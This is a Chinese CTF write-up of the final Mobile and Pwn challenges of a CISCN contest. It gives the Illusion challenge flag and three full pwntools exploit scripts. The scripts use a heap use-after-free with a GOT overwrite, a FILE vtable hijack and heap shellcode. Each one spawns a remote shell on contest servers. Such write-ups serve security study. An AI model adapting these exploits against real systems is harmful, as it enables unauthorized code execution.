最后两趴...
是的~今天给出的是这次国赛最后两部分:Mobile和Pwn。
--------------- 特别感谢BXS战队 ---------------
再过几天放出西湖论剑杯的writeup啦~有没有期待的小伙伴?
PART5. MOBILE
Illusion
这题考的是Android原生代码加载方式吧。。(没学过apk的表示压力很大)不过拿了个二血,美滋滋。
用jeb分析下,逻辑很简单,onCreate设置按钮监听器,然后调用so的check函数和assets下的flag对比。
然后分析so文件。从jni_load开始,这里先获取环境变量,然后FindClass获取类,之后通过jclass,调用RegisterNatives来注册原生的JNI方法,这里的off_4004其实是个JNINativeMethod的结构体。
为了方便分析,我们插入JNINativeMethod结构体。然后根据该结构体的成员,找到关键的check函数。
其实这里还有个问题,这里写了2个注册的方式不同的CheckFlag函数,因为上层的java的写不是静态的native方法,而是成员方法。所以这里调用的不是那个很明显的checkflag函数(下图),而是成员方法,即位于JNINativeMethod结构体中的那个函数指针。
上图是假的checkflag函数。下图是真的checkflag函数。
对比可以发现,对引用的参数不一样。
然后分析关键的sub_10C0函数。
由于a2参数总是0x5d,所以,else语句总不会执行。
然后进入sub_1028函数分析。
看到这里,emm,简直和2018腾讯游戏安全Android资格赛的一个函数如出一辙,(可能是编译器函数?没研究过)这里的逻辑我就不说了,最关键的几步不对,ida反编译出错了。看汇编吧。。。
在sub_10c0函数的入口,就有一个push操作,然后跳转到sub_1027函数,如果参数一比参数二小,那就会直接返回参数一。否则在执行完一堆的函数后,最后返回到这里,执行pop指令,弹出r1-r3的值。所以里面那个函数并不用分析。
总结起来就是:如果传入的参数的值比0x5d大,则返回该值;否则返回2个值的差值。
最后再都加上0x20,然后strcmp。写脚本还原就好了。
脚本如下:
Flag:CISCN{GJ5728}
PART6. Pwn
1.Supermarket
程序realloc函数使用错误,可造成uaf利用,先泄露puts_addr,进而计算system_addr,之后将atoi@got覆盖为system,传入/bin/sh,脚本如下
# coding:utf-8
from pwn import *
debug=0
context.log_level='debug'
elf = ELF('./task_supermarket')
if debug:
p=process('./task_supermarket')
# context.log_level='debug'
# gdb.attach(p)
libc=ELF('/home/moonagirl/moonagirl/libc/libc_local_x32')
one_gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
else:
p=remote('49.4.23.67', 32366)#
libc = ELF('/home/moonagirl/moonagirl/libc/libc6-i386_2.23-0ubuntu9_amd64.so')
one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
def add(name,price,sz,des):
se('1\n')
ru('name:')
se(name+'\n')
ru('price:')
se(str(price)+'\n')
ru('descrip_size:')
se(str(sz)+'\n')
ru('description:')
se(des)
ru('your choice>>')
def delete(name):
se('2\n')
ru('name:')
se(name+'\n')
ru('your choice>>')
def list():
se('3\n')
ru('all commodities info list below:')
data=ru('---------menu---------')
ru('your choice>>')
return data
def change_price(name,price):
se('4\n')
ru('name:')
se(name+'\n')
ru('input the value you want to cut or rise in:')
se(str(price)+'\n')
ru('your choice>> ')
def change_des(name,sz,des):
se('5\n')
ru('name:')
se(name+'\n')
ru('descrip_size:')
se(str(sz)+'\n')
ru('description:')
se(des)
ru('your choice>> ')
add('1',1,28,'a\n')
add('2',1,28,'b\n')
change_des('1',50,'\x00\n')
add('3',1,28,'c\n')
fake_item=p32(0x33)+p32(0)*3+p32(1)+'\xf0'
change_des('1',28,fake_item+'\n')
add('4',1,28,'d\n')
payload = p32(0x63) + p32(0)*6 + p32(0x21) + p32(0x34) + p32(0)*3 + p32(1) + p32(0x1c) + p32(elf.got['puts'])
payload = payload.ljust(0xf0,'\x00')
change_des('3',0xf0,payload+'\n')
# list()
list()
p.sendline('3')
p.recvuntil('4: price.1, des.')
data = u32(p.recv(4).ljust(4,'\x00'))
print '------------------------------------------------------------------------------'
success('puts_addr:'+hex(data))
libc_base = data - libc.symbols['puts']
success('libc_base:'+hex(libc_base))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
success('malloc_hook:'+hex(malloc_hook))
gadget = libc_base + one_gadgets[3]
success('gadget:'+hex(gadget))
payload = p32(0x63) + p32(0)*6 + p32(0x21) + p32(0x34) + p32(0)*3 + p32(1) + p32(0x1c) + p32(elf.got['atoi'])
payload = payload.ljust(0xf0,'\x00')
change_des('3',0xf0,payload+'\n')
system_addr = libc_base + libc.symbols['system']
success('system_addr:'+hex(system_addr))
change_des('4',0x1c,p32(system_addr).ljust(0x1c,'\x00'))
p.sendline('\n')
p.sendline('/bin/sh\x00')
p.interactive()
2. magic
存在整数溢出,可通过传入-2更改log_file结构体的write_base域进而将log_file的read_ptr改成puts_got泄露libc地址,最后将vtable覆盖指向堆上,在堆上将虚表函数覆盖为one_gagdet
# coding:utf-8
from pwn import *
debug=0
#context.log_level='debug'
elf = ELF('./task_magic')
libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')
if debug:
p = process('./task_magic',env={'LD_PRELOAD':'/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so'})
# libc=ELF('/home/moonagirl/moonagirl/libc/libc_local_x64')
# gdb.attach(p)
else:
p = remote('49.4.23.164', 32232)# 49.4.23.164 32232
libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')
# one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
def create(name):
p.send('1\n')
p.recvuntil('Give me the wizard\'s name:')
p.send(name)
p.recvuntil('choice>>')
def spell(idx,name):
p.send('2\n')
p.recvuntil('Who will spell:')
p.send(str(idx))
p.recvuntil('Spell name:')
p.send(name)
return p.recvuntil('choice>>')
def final_chance(idx):
p.send('3\n')
p.recvuntil('Who got the final_chance:')
p.sendline(str(idx))
p.recvuntil('choice>> ')
create('1')
spell(0,'a')
for i in range(13):
spell(-2,'\x00\x00\x00\x00')
spell(-2,'\x00\x00\xe0')
data=spell(0,'\xa8'+p64(0x602020))
puts=u64(data[:8])
base=puts-libc.symbols['puts']
success('base:'+hex(base))
p.send('3\n')
p.recvuntil('Who got the chance:')
p.sendline(str(-2))
p.recvuntil('choice>> ')
for i in range(5):
spell(0,'\x00'*8)
heap=u64(spell(0,'\x00'*8)[:8])-0x10
for i in range(13):
spell(-2,'\x00'*10)
chunk_addr=heap + 0x12f0
create('a'*16+p64(base+0x07CD01))
#create('a'*16+p64(0xdeadbeef))
pause()
p.send('2\n')
p.recvuntil('Who will spell:')
p.send(str(0))
p.recvuntil('Spell name:')
p.send(p64(0)+ p64(chunk_addr - 0x30)+p64(base + 0xf02a4))
p.interactive()
3.note
这题很简单,直接将free@got覆盖为堆地址,并在堆上写入shellcode,之后直接调用free执行shellcode即可
# coding:utf-8
from pwn import *
debug=1
#context.log_level='debug'
elf = ELF('./task_note_service2_OG37AWm')
#libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')
if debug:
p = process('./task_note_service2_OG37AWm')#,env={'LD_PRELOAD':'/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so'})
# gdb.attach(p)
else:
p = remote('49.4.23.164', 32321)# 49.4.23.164 32321
# libc = ELF('/home/moonagirl/moonagirl/libc/libc6_2.23-0ubuntu10_amd64.so')
# one_gadgets = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
def z(a=''):
gdb.attach(p,a)
if a == '':
raw_input()
def add(index,size,content):
p.recvuntil('your choice>> ')
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(index))
p.recvuntil('size:')
p.sendline(str(size))
p.recvuntil('content:')
p.sendline(content)
def free(index):
p.recvuntil('your choice>> ')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(index))
code = """
push rbp
pop rax
push rdx
pop rsi
"""
#[heap]:000055BF95A36028 and [rax], eax
add(-17,8,asm(code,arch="amd64"))
code = """
xor rbx,rbx
push rbp
pop rcx
push rbx
pop rdx
"""
#[heap]:000055BF95A36047 add [rcx], ah
add(0,8,asm(code,arch="amd64"))
code = """
push rbx
pop rsi
xor rsi,rsi
xor rdx,rdx
"""
#[heap]:000055BF95A36067 add [rcx], ah
add(1,8,'\x90'+asm(code,arch="amd64"))
code = """
xor rax,rax
movzx rax,0x3b
syscall
"""
add(2,8,'\x90'+asm(code,arch="amd64"))
add(5,8,'/bin/sh\x00')
free(5)
p.interactive()
-END-